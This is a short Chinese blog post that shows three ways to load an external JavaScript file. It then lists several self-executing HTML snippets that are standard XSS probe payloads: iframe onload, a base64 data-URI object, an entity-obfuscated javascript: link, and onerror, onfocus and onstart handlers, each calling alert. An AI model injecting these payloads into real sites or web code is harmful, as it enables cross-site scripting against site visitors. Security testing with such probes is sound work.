Alex的博客

本博客的文章均为原创,是本人从事行业多年来所遇见一些小问题的解决心得,希望可以帮助到大家!



js中调用外部js

方法一:
//程序代码 
document.write(" <script language=\"javascript\" src="\/com\/ waibu.js \" > <\/script>"); 

方法二:
//程序代码 
new_element=document.createElement("script"); 
new_element.setAttribute("type","text/javascript"); 
new_element.setAttribute("src","waibu.js"); 
document.body.appendChild(new_element); 

方法三:
//程序代码 
document.scripts[0].src="waibu.js"

另外再记录一个图片打开错误事件执行js
<img src="not_img.jpg" onerror="alert('not image')">

js自动执行方法:
<a href="java&#115;cript:alert('xss')">link</a>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<iframe/onload=alert(document.domain)></iframe>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert('xss')">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<input onfocus=alert(33) autofocus>
<img src="xxx.jpg" width="0" height="0" onerror="alert(33)">  
浏览170  评论0  Alex于 2018-1-10 17:32
发言